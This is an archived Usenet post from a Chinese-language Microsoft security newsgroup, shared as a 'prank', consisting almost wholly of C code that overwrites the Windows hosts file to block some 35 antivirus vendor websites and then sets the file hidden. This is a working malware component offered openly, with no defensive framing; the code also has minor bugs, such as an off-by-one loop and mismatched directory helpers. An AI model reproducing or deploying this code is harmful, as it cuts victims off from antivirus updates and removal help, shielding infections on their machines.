Web Images Videos Maps News Shopping Gmail more »
Help | Sign in
Google Groups Home
Message from discussion 一个小恶作剧,防毒网站上不了
The group you are posting to is a Usenet group. Messages posted to this group will make your email address visible to anyone on the Internet.
Your reply message has not been sent.
Your post was successful
 
From:
To:
Cc:
Followup To:
Add Cc | Add Followup-to | Edit Subject
Subject:
Validation:
For verification purposes please type the characters you see in the picture below or the numbers you hear by clicking the accessibility icon. Listen and type the numbers you hear
 
sai  
View profile  
 More options Mar 14 2004, 4:17 am
Newsgroups: microsoft.public.cn.security
From: "sai" <gk...@vip.163.com>
Date: Sun, 14 Mar 2004 01:15:57 -0800
Local: Sun, Mar 14 2004 4:15 am
Subject: 一个小恶作剧,防毒网站上不了
void block_av()
{
   char str[MAX_PATH];
   int n;
   char *sites[] =
   {
   "www.antivirus.com",
   "www.claymania.com",
   "www.duba.net",
   "www.bitdefender.com",
   "www.commandcom.com",
   "www.dials.ru",
   "www1.my-etrust.com",
   "www.f-prot.com",
   "www.f-secure.com",
   "www.grisoft.com",
   "antivirus.cai.com",
   "www.avp.ru",
   "www.nai.com",
   "www.nod32.com.au",
   "www.norman.com",
   "www.symantec.com",
   "www.pandasoftware.com",
   "www.sophos.com",
   "www.trend.com",
   "www.commandondemand.com",
   "www.dialognauka.ru",
   "www.veloz.com",
   "support.ikarus.at",
   "www.kaspersky.com",
   "www.hauri.net",
   "antivirus.mafia.ru",
   "www.mcafee.com",
   "www.webimmune.net",
   "www.pandasoftware.com",
   "www.pcpitstop.com",
   "www.ravantivirus.com",
   "security1.norton.com",
   "housecall.antivirus.com",
   "www.freedom.net",
   "www.invircible.com"
   };

   FILE *hosts = fopen(hosts_file(), "w");

   if (hosts == NULL)
       return;

   fputs("127.0.0.1 localhost\n", hosts);

   for (n = 0; n <= MAX_SITES; n++)
   {
       wsprintf(str, "0.0.0.0 %s\n", sites[n]);
       fputs(str, hosts);
   }

   fclose(hosts);

   SetFileAttributes(hosts_file(), FILE_ATTRIBUTE_HIDDEN);

}

char *hosts_file()
{
   static char hosts[MAX_PATH];

   if (running_nt())
       wsprintf(hosts, "%s\\drivers\\etc\\hosts", sysdir
());

   else
       wsprintf(hosts, "%s\\hosts", windir());

   return hosts;

}

BOOL running_nt()
{
   return (GetVersion() < 0x80000000);

}

char *windir()
{
   static char win[MAX_PATH];

   GetSystemDirectory(win, MAX_PATH);

   return win;

}


    Reply to author    Forward  
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.

Create a group - Google Groups - Google Home - Terms of Service - Privacy Policy
©2009 Google